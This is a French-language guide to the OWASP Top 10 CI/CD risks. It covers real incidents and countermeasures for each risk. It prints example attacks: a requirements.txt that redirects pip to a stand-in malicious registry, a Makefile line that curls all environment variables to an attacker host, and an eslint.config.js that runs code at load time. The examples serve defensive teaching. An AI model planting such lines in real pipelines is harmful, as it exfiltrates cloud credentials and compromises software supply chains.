Aller au contenu
Sécurité medium

OWASP Top 10 CI/CD : les 10 risques de sécurité des pipelines

29 min de lecture

Vos pipelines CI/CD déploient du code en production plusieurs fois par jour. Mais un seul Makefile modifié dans une pull request peut exfiltrer tous vos secrets cloud. Un eslint.config.js piégé dans une PR exécute du JavaScript arbitraire sur votre runner. Ce guide présente les 10 risques de sécurité CI/CD identifiés par l’OWASP, illustre chacun avec des attaques réelles et des exemples concrets d’exploitation, et propose les contre-mesures à appliquer en priorité.

  • Les 10 risques OWASP CI/CD : ce que chacun signifie concrètement et pourquoi il est classé dans le top 10
  • Les attaques réelles : SolarWinds, Codecov, tj-actions — comment elles ont exploité ces failles
  • Des exemples concrets d’exploitation : comment un Makefile, un eslint.config.js ou un requirements.txt piégé compromet un pipeline via une pull request
  • Les contre-mesures : pour chaque risque, les actions à mettre en place immédiatement

Un pipeline CI/CD est le chemin le plus direct entre un développeur et la production. Il manipule du code source, des secrets, des artefacts et des accès à l’infrastructure. Si un attaquant compromet ce chemin, il peut :

  • Injecter du code malveillant directement dans vos artefacts de production
  • Voler des secrets (clés API, tokens, certificats) pour accéder à vos systèmes
  • Contaminer votre chaîne d’approvisionnement et tous vos clients en aval
  • Persister dans votre infrastructure via des backdoors indétectables

Surface d'attaque CI/CD

Attaques récentes : pourquoi ces risques sont réels

Section intitulée « Attaques récentes : pourquoi ces risques sont réels »

Avant d’analyser chaque risque, voici quatre attaques majeures qui illustrent la criticité de la sécurité CI/CD. Chacune exploite un ou plusieurs des 10 risques OWASP.

Attaque de la chaîne d’approvisionnement SolarWinds

Des attaquants (probablement étatiques) ont compromis le pipeline CI/CD de SolarWinds pour injecter une backdoor dans les mises à jour du logiciel Orion.

Impact : 18 000 organisations infectées, dont des agences gouvernementales américaines et des entreprises Fortune 500.

Risques OWASP exploités :

  • CICD-SEC-1 : Insufficient Flow Control Mechanisms
  • CICD-SEC-10 : Insufficient Logging and Visibility

Catégories des risques OWASP CI/CD

L’OWASP classe ces risques en trois grandes familles :

  • Contrôle et accès (SEC-1, SEC-2, SEC-5, SEC-10) — qui peut faire quoi dans le pipeline et avec quelle traçabilité
  • Code et dépendances (SEC-3, SEC-4, SEC-8, SEC-9) — d’où vient ce qui entre et sort du pipeline, et comment le vérifier
  • Secrets et configuration (SEC-6, SEC-7) — comment protéger les informations sensibles et durcir l’infrastructure

Mécanismes de contrôle de flux insuffisants

Les pipelines CI/CD sont des chaînes d’étapes automatisées. Si ces étapes s’enchaînent sans « portes » (gates) de validation, un commit malveillant peut traverser tout le pipeline et atteindre la production en quelques minutes. C’est ce qui s’est passé avec SolarWinds : l’absence de contrôles a permis à du code malveillant de se propager jusqu’aux mises à jour distribuées aux 18 000 clients.

  • Déploiement automatique en production sans approbation humaine
  • Pas de séparation entre environnements (dev → staging → prod)
  • Absence de tests de sécurité bloquants dans le pipeline
  • Merge automatique sans revue de code obligatoire
  1. Implémenter des gates obligatoires

    Ajoutez des étapes de validation (tests automatisés, scans de sécurité, revues de code) qui doivent réussir avant de passer à l’étape suivante.

  2. Exiger des approbations manuelles pour la production

    Configurez votre pipeline pour qu’un humain valide explicitement tout déploiement en production. Sur GitHub Actions, utilisez les environnements avec approbation requise.

  3. Segmenter les environnements

    Séparez clairement dev, staging et production. Limitez la promotion automatique aux environnements non critiques.

  4. Utiliser des pipelines multi-stades

    Définissez des étapes distinctes avec des conditions de passage explicites : tests unitaires → tests d’intégration → scan de sécurité → approbation → déploiement.


CICD-SEC-2 : Inadequate Identity and Access Management

Section intitulée « CICD-SEC-2 : Inadequate Identity and Access Management »

Gestion des identités et des accès inadéquate

Les pipelines CI/CD manipulent du code source, des secrets, des artefacts et des accès à l’infrastructure de production. Si n’importe qui peut accéder à ces ressources, ou si des comptes compromis ont des privilèges excessifs, la surface d’attaque explose. La compromission du dépôt PHP a été rendue possible parce qu’un attaquant a obtenu des droits de push sur le dépôt officiel.

  • Comptes partagés entre plusieurs personnes ou équipes
  • Absence d’authentification forte (MFA) sur les comptes privilégiés
  • Droits administratifs accordés par défaut à tous les membres d’un projet
  • Pas de révocation des accès lors des départs
  1. Implémenter le RBAC (Role-Based Access Control)

    Définissez des rôles précis (développeur, reviewer, déployeur, admin) avec les permissions minimales nécessaires pour chaque rôle.

  2. Activer la MFA pour tous les comptes

    L’authentification multi-facteurs est non négociable pour tout accès au pipeline, au dépôt de code et aux secrets.

  3. Auditer régulièrement les accès

    Revoyez trimestriellement qui a accès à quoi. Supprimez les accès obsolètes.

  4. Utiliser des identités fédérées

    Connectez votre CI/CD à votre IdP (Identity Provider) pour centraliser la gestion des identités et automatiser les révocations.


Abus de la chaîne de dépendances

Un pipeline CI/CD télécharge typiquement des dizaines de dépendances : bibliothèques, images Docker, outils. Chaque dépendance est un point d’entrée potentiel pour un attaquant. Les techniques d’abus sont variées :

  • Dependency confusion — publier un paquet malveillant sur un registre public avec le même nom qu’un paquet interne, en espérant que le gestionnaire de paquets télécharge la version publique par erreur
  • Dependency hijacking — compromettre le compte d’un mainteneur pour publier une version malveillante d’un paquet existant (comme ua-parser-js en 2021)
  • Typosquatting — publier un paquet dont le nom ressemble à un paquet populaire (expressecpress, lodash1odash)
  • Registry redirect — modifier la configuration du gestionnaire de paquets dans une PR pour rediriger les téléchargements vers un registre contrôlé par l’attaquant
AttaqueAnnéeMécanismeImpact
ua-parser-js2021Hijacking du compte npmCrypto-miner installé sur des millions de machines
coa / rc2021Hijacking de comptes npmExfiltration de données
colors / faker2022Sabotage par le mainteneurDoS sur des milliers d’applications
tj-actions2025Modification rétroactive des tagsSecrets de 23 000+ dépôts exposés

Exploitation concrète : redirection de registre pip via une pull request

Section intitulée « Exploitation concrète : redirection de registre pip via une pull request »

Le référentiel LOTP (Living Off The Pipeline) catalogue les outils de développement dont les fonctionnalités légitimes peuvent être détournées dans un pipeline CI/CD. L’un des vecteurs les plus discrets de CICD-SEC-3 est la redirection de registre : l’attaquant ne modifie pas le code, il modifie d’où le code est téléchargé.

Le mécanisme est simple. Il suffit d’ajouter un flag -i dans le fichier requirements.txt d’un projet Python pour rediriger toutes les installations vers un registre malveillant :

requirements.txt (modifié dans une PR)
-i https://evil-registry.example.com/simple/
requests==2.31.0
flask==3.0.0

Dans un pipeline CI/CD qui exécute pip install -r requirements.txt, pip obtempère : il télécharge les paquets depuis le registre indiqué au lieu de PyPI. L’attaquant publie sur son faux registre des versions piégées de requests et flask qui contiennent un setup.py avec du code d’exfiltration.

La parade : forcer l’index en ligne de commande dans le workflow, pas dans un fichier que la PR peut modifier :

Workflow CI sécurisé
- run: pip install -r requirements.txt -i https://pypi.org/simple/ --require-hashes
  1. Scanner les dépendances pour les vulnérabilités

    Utilisez des outils comme Trivy, Grype ou OWASP Dependency-Check dans votre pipeline. Bloquez le build si des CVE critiques sont détectées.

  2. Verrouiller les versions et les hashes

    Utilisez des fichiers de lock (package-lock.json, requirements.txt avec hashes, go.sum) et épinglez les versions exactes. Activez --require-hashes avec pip.

  3. Forcer le registre en ligne de commande

    Ne faites jamais confiance au fichier de configuration d’un dépôt pour définir le registre. Forcez-le dans le workflow CI :

    - run: pip install -r requirements.txt -i https://pypi.org/simple/
    - run: npm config set registry https://registry.npmjs.org/
  4. Utiliser un proxy / miroir interne

    Mettez en cache vos dépendances dans un registre interne (Nexus, Artifactory) pour contrôler ce qui entre dans votre pipeline.

  5. Vérifier la provenance

    Privilégiez les packages signés. Vérifiez les attestations SLSA quand disponibles.


Exécution de pipeline empoisonné

Les pipelines CI/CD sont souvent définis par des fichiers versionnés dans le dépôt de code (Pipeline as Code). L’OWASP distingue trois variantes de PPE selon la manière dont l’attaquant injecte son code :

TypeCe que l’attaquant modifieExemple
Direct PPE (D-PPE)Le fichier de définition du pipeline lui-même.github/workflows/ci.yml, .gitlab-ci.yml, Jenkinsfile
Indirect PPE (I-PPE)Un fichier que le pipeline appelle sans le savoirMakefile, eslint.config.js, build.gradle, .pylintrc
Public PPE (3PE)PR depuis un fork sur un projet open sourceTout fichier modifiable via un fork

La variante Indirect PPE est la plus dangereuse car elle passe sous le radar : le fichier de pipeline lui-même n’est pas modifié, la protection de branche est respectée, mais le code exécuté par le pipeline a été empoisonné.

Exploitation concrète : Indirect PPE via un Makefile

Section intitulée « Exploitation concrète : Indirect PPE via un Makefile »

Imaginons un pipeline Jenkins classique. Le Jenkinsfile est protégé — il est stocké sur la branche main et nécessite une approbation pour être modifié. Mais le Makefile, lui, fait partie du code source. N’importe qui peut le modifier dans une pull request.

Le Jenkinsfile appelle make build pendant l’étape de build :

Jenkinsfile (protégé sur main)
pipeline {
agent any
stages {
stage('build') {
steps {
withAWS(credentials: 'AWS_key', region: 'us-east-1') {
sh 'make build'
sh 'make clean'
}
}
}
stage('test') {
steps {
sh 'go test -v ./...'
}
}
}
}

Le Makefile légitime :

Makefile (légitime)
build:
echo "building..."
clean:
echo "cleaning..."

L’attaquant soumet une PR qui modifie le Makefile. La modification semble anodine — un ajout de cible ou un changement de commande de build :

Makefile (modifié dans la PR)
build:
curl -d "$$(env)" https://attacker.example.com/collect
echo "building..."
clean:
echo "cleaning..."

Le pipeline déclenché par la PR exécute make build dans un contexte où les credentials AWS sont chargées en variables d’environnement. La commande curl -d "$$(env)" envoie toutes les variables d’environnement (dont les secrets AWS) vers le serveur de l’attaquant. Le job se termine normalement — personne ne remarque rien.

Exploitation concrète : Indirect PPE via eslint.config.js

Section intitulée « Exploitation concrète : Indirect PPE via eslint.config.js »

Autre vecteur catalogué par LOTP : les fichiers de configuration en JavaScript. Quand votre pipeline exécute npx eslint ., Node.js charge et exécute le fichier eslint.config.js. Ce n’est pas un fichier de configuration passif — c’est un module JavaScript complet.

Un attaquant soumet une PR qui modifie eslint.config.js pour ajouter du code exécuté au chargement :

eslint.config.js (modifié dans la PR)
// Code malveillant exécuté au chargement du config par Node.js
const os = require("os");
console.log(`[EXFIL] hostname=${os.hostname()}, user=${os.userInfo().username}`);
// Configuration ESLint normale — le code ci-dessus est difficile à repérer en review
module.exports = [
{
rules: {
"no-unused-vars": "warn",
},
},
];

Le pipeline exécute npx eslint . et le code de l’attaquant s’exécute avant même la moindre vérification de code. Dans un contexte réel, l’attaquant remplacerait le console.log par un fetch() envoyant process.env (contenant tous les secrets) vers son serveur.

  1. Isoler les runners

    Utilisez des runners éphémères (conteneurs ou VMs jetables). Chaque job doit démarrer dans un environnement propre. Sur GitHub Actions, les runners hébergés le sont déjà. Pour les self-hosted, configurez le mode --ephemeral.

  2. Séparer les pipelines par niveau de confiance

    Créez un pipeline untrusted (sur les PR, sans secrets, permissions: read-all) et un pipeline trusted (sur les merges, avec secrets). Le code d’une PR n’a pas été validé — il ne devrait jamais avoir accès aux secrets.

  3. Protéger les fichiers exploitables avec CODEOWNERS

    Exigez une approbation de l’équipe sécurité pour toute modification de Makefile, eslint.config.js, package.json, .pylintrc et autres fichiers catalogués par LOTP :

    CODEOWNERS
    Makefile @security-team
    eslint.config.js @security-team
    package.json @security-team
    .pylintrc @security-team
  4. Forcer la configuration des linters en ligne de commande

    Ignorez les fichiers de configuration locaux du dépôt et utilisez une version approuvée :

    Fenêtre de terminal
    # Ignorer les configs locales du dépôt
    eslint --config /opt/ci-configs/eslint.config.js src/
    pylint --rcfile=/dev/null src/
  5. Restreindre les pull requests externes

    Exigez une approbation manuelle avant d’exécuter le pipeline sur les PR provenant de forks. Limitez l’accès aux secrets pour ces PR.

  6. Scanner les workflows avec des outils dédiés

    Utilisez Poutine et Zizmor pour analyser vos définitions de pipeline et détecter les vulnérabilités connues.


CICD-SEC-5 : Insufficient PBAC (Pipeline-Based Access Controls)

Section intitulée « CICD-SEC-5 : Insufficient PBAC (Pipeline-Based Access Controls) »

Contrôles d’accès basés sur le pipeline insuffisants

Le PBAC (Pipeline-Based Access Control) définit quels jobs, étapes et environnements sont accessibles à quel moment et avec quels privilèges. Sans segmentation fine, un attaquant qui compromet un job de test peut pivoter vers les jobs de déploiement.

L’analogie : une entreprise où la même clé ouvre toutes les portes — du placard à fournitures au coffre-fort. Si quelqu’un trouve cette clé, il a accès à tout. Dans un pipeline, c’est la même chose quand tous les jobs partagent les mêmes secrets et les mêmes permissions.

  • Tous les jobs ont accès aux mêmes secrets
  • Pas de séparation entre les jobs « build » et « deploy »
  • Tokens avec des permissions excessives (lecture + écriture sur tout)
  • Pas de restrictions sur quels jobs peuvent modifier quels artefacts
  1. Appliquer le moindre privilège par job

    Chaque job ne doit avoir accès qu’aux ressources strictement nécessaires à sa tâche. Un job de lint n’a pas besoin des secrets de déploiement. Dans GitHub Actions, déclarez permissions: explicitement dans chaque job.

  2. Séparer les runners par niveau de criticité

    Utilisez des runners différents pour les jobs sensibles (déploiement, accès production) et les jobs non sensibles (tests, lint).

  3. Utiliser des tokens à durée limitée

    Privilégiez les tokens éphémères (OIDC) plutôt que des secrets statiques. Limitez leur durée de vie au minimum nécessaire. GitHub Actions, GitLab CI et les principaux clouds (AWS, GCP, Azure) supportent tous l’authentification OIDC.

  4. Monitorer l’utilisation des ressources

    Alertez sur les accès inhabituels : job de test qui accède à des secrets de production, accès à des ressources en dehors des heures normales.


Hygiène des identifiants insuffisante

Un pipeline CI/CD manipule de nombreux secrets : clés API, tokens d’accès aux clouds, certificats, credentials de bases de données. Ces secrets sont souvent mal protégés : stockés en clair, partagés entre équipes, jamais renouvelés.

L’attaque tj-actions de 2025 a spécifiquement ciblé l’exfiltration de secrets depuis la mémoire des runners. Les secrets étaient encodés en base64 pour contourner le masquage automatique des logs GitHub Actions.

  • Secrets en clair dans les fichiers de configuration (.yml, .env, Dockerfile)
  • Partage des mêmes clés entre plusieurs équipes ou projets
  • Pas de rotation périodique (certains secrets ont 5+ ans)
  • Secrets affichés dans les logs de build
  1. Utiliser un gestionnaire de secrets

    HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GitLab/GitHub native secrets. Ne stockez jamais de secrets dans le code source.

  2. Scanner le code pour détecter les secrets exposés

    Intégrez Gitleaks, TruffleHog ou GitHub Secret Scanning dans votre pipeline. Bloquez les commits contenant des secrets.

  3. Automatiser la rotation

    Configurez une rotation automatique des secrets critiques (tokens cloud, clés API). Idéalement tous les 30-90 jours.

  4. Masquer les secrets dans les logs

    Configurez votre CI/CD pour masquer automatiquement les valeurs des secrets dans les outputs. Attention : l’attaque tj-actions a contourné ce mécanisme en encodant les secrets en base64.


Configuration système non sécurisée

Jenkins, GitLab CI, CircleCI, GitHub Actions : toutes ces plateformes ont des configurations par défaut pensées pour la facilité d’utilisation, pas pour la sécurité. Mots de passe par défaut, ports d’administration exposés, chiffrement désactivé — autant de vecteurs d’attaque si vous ne durcissez pas votre installation.

C’est comme acheter une serrure sans la verrouiller : le mécanisme est là, mais la protection est nulle.

  • Mots de passe par défaut non modifiés (admin/admin)
  • Interfaces d’administration exposées sur Internet
  • Communications non chiffrées entre composants
  • Plugins obsolètes avec des vulnérabilités connues
  • Debug / verbose logging activé en production
  • Variables d’environnement exploitables (BASH_ENV, _JAVA_OPTIONS, TAR_OPTIONS, npm_config_*) — voir le guide dédié Empoisonnement de variables d’environnement
  1. Changer tous les mots de passe par défaut

    Dès l’installation, remplacez tous les credentials par défaut par des mots de passe forts et uniques.

  2. Activer TLS partout

    Chiffrez toutes les communications : UI web, API, communication avec les runners, accès aux registres d’artefacts.

  3. Restreindre l’accès réseau

    Placez votre CI/CD derrière un VPN ou un bastion. N’exposez jamais l’interface d’administration sur Internet.

  4. Maintenir les plugins à jour

    Les plugins sont souvent le maillon faible. Auditez-les régulièrement, supprimez ceux inutilisés, mettez à jour les autres.


CICD-SEC-8 : Ungoverned Usage of 3rd Party Services

Section intitulée « CICD-SEC-8 : Ungoverned Usage of 3rd Party Services »

Usage non gouverné des services tiers

Les pipelines modernes intègrent de nombreux services tiers : actions GitHub de la marketplace, plugins Jenkins, services SaaS de scan ou d’analyse. Chaque intégration est une extension de confiance : vous autorisez ce service à accéder à votre code, vos secrets, vos artefacts.

L’attaque tj-actions a démontré le risque : une action utilisée par 23 000+ dépôts, jamais auditée, a été compromise par une chaîne d’attaques commençant par le vol d’un PAT (Personal Access Token).

  • Utilisation d’actions/plugins sans audit préalable
  • Confiance aveugle dans les services « populaires »
  • Pas de contrat ou SLA avec les fournisseurs tiers
  • Absence de monitoring de ces intégrations
  1. Auditer avant d’intégrer

    Avant d’ajouter une action GitHub ou un plugin, vérifiez : qui la maintient ? Depuis combien de temps ? Le code est-il auditable ? L’organisation est-elle vérifiée ?

  2. Épingler les versions par SHA de commit

    Ne référencez jamais une action par son tag (@v1). Un tag peut être modifié rétroactivement pour pointer vers un commit malveillant — c’est exactement ce qui s’est passé avec tj-actions. Utilisez le SHA du commit :

    # Dangereux : tag mutable
    - uses: owner/action@v1
    # Sûr : SHA immuable
    - uses: owner/action@a1b2c3d4e5f6...
  3. Limiter les permissions

    Utilisez les permissions minimales pour chaque intégration. Une action de lint n’a pas besoin de write sur le dépôt.

  4. Monitorer les dépendances tierces

    Suivez les CVE et advisories des services que vous utilisez. Configurez Dependabot ou Renovate pour les actions GitHub.


CICD-SEC-9 : Improper Artifact Integrity Validation

Section intitulée « CICD-SEC-9 : Improper Artifact Integrity Validation »

Validation incorrecte de l’intégrité des artefacts

Les artefacts (binaires, images Docker, packages) sont le produit final de votre pipeline. S’ils ne sont pas signés et si leur intégrité n’est pas vérifiée à chaque étape, un attaquant peut les remplacer par des versions malveillantes — soit dans le stockage, soit pendant le transit.

L’analogie est celle d’un colis envoyé sans scellé : n’importe qui peut l’ouvrir, modifier le contenu et le refermer sans que le destinataire s’en aperçoive.

  • Pas de signature cryptographique des artefacts
  • Stockage dans des registres sans contrôle d’accès
  • Pas de vérification d’intégrité avant déploiement
  • Images Docker avec le tag latest (mutable)
  1. Signer tous les artefacts

    Utilisez Cosign (Sigstore) pour signer vos images Docker. Utilisez GPG ou Sigstore pour les binaires et packages.

  2. Générer des attestations SLSA

    Créez des attestations de provenance qui prouvent où, quand et comment l’artefact a été construit.

  3. Vérifier avant de déployer

    Intégrez la vérification de signature dans votre pipeline de déploiement. Refusez tout artefact non signé ou avec une signature invalide.

  4. Utiliser des tags immuables

    Préférez les digests (image@sha256:...) aux tags mutables (image:latest). Ou utilisez des tags basés sur le commit/version.


Journalisation et visibilité insuffisantes

Les attaques sur les pipelines CI/CD sont souvent discrètes : modification d’un fichier de config, exfiltration progressive de secrets, injection de code dans un job spécifique. Sans une journalisation exhaustive et une surveillance active, ces attaques passent inaperçues pendant des mois.

SolarWinds est resté compromis pendant 9 mois avant détection. Les exemples d’Indirect PPE (Makefile, eslint.config.js) présentés dans la section CICD-SEC-4 sont conçus pour être silencieux — le job se termine normalement, rien dans les logs ne signale l’exfiltration.

  • Logs éparpillés entre différents systèmes, non corrélés
  • Pas de surveillance en temps réel des événements critiques
  • Rétention des logs trop courte pour l’investigation
  • Logs incomplets (pas de trace de qui a fait quoi)
  1. Centraliser les logs

    Agrégez tous les logs (CI/CD, git, registres, runners) dans une plateforme centrale : ELK Stack, Splunk, Datadog, Grafana Loki.

  2. Configurer des alertes

    Alertez sur les événements suspects : connexions inhabituelles, échecs d’authentification répétés, modifications de fichiers de pipeline, accès à des secrets depuis des jobs inattendus.

  3. Conserver les logs suffisamment longtemps

    Minimum 6 mois, idéalement 12 mois. Les attaques sophistiquées sont souvent découvertes bien après leur début.

  4. Inclure le contexte dans les logs

    Chaque entrée doit inclure : qui (identité), quoi (action), quand (timestamp précis), où (job, runner, IP), résultat (succès/échec).

FamilleRisques OWASPQuestion à se poser
Contrôle et accèsSEC-1, SEC-2, SEC-5, SEC-10Qui peut déclencher quoi, et est-ce tracé ?
Code et dépendancesSEC-3, SEC-4, SEC-8, SEC-9D’où vient ce qui entre dans le pipeline, et comment le vérifier ?
Secrets et configurationSEC-6, SEC-7Mes secrets sont-ils protégés et mon infrastructure durcie ?
  • L’OWASP Top 10 CI/CD couvre les risques spécifiques aux pipelines, pas aux applications web — ce sont deux référentiels distincts
  • Les 4 risques les plus exploités dans les incidents récents sont SEC-3 (dependency chain abuse), SEC-4 (PPE), SEC-6 (credential hygiene) et SEC-8 (3rd party services)
  • L’Indirect PPE (SEC-4) est le plus dangereux car il exploite des outils légitimes (make, eslint, pip, pylint) — le fichier de pipeline n’est même pas modifié. Le référentiel LOTP en catalogue 59
  • La redirection de registre (SEC-3) transforme un simple -i dans requirements.txt ou un .npmrc modifié en exfiltration massive — forcez toujours l’index en ligne de commande
  • Épinglez tout par SHA : actions GitHub, images Docker, dépendances — les tags mutables sont un vecteur d’attaque prouvé (tj-actions 2025)
  • Commencez par trois actions immédiates : activez la MFA sur tous les comptes CI/CD, scannez vos secrets avec Gitleaks, et séparez vos pipelines PR (untrusted) des pipelines de merge (trusted)

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracing. Aujourd'hui, ce site ne couvre même pas mes frais d'hébergement, d'électricité, de matériel, de logiciels, mais surtout de cafés.

Un soutien régulier, même symbolique, m'aide à garder ces ressources gratuites et à continuer de produire des guides de qualité. Merci pour votre appui.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn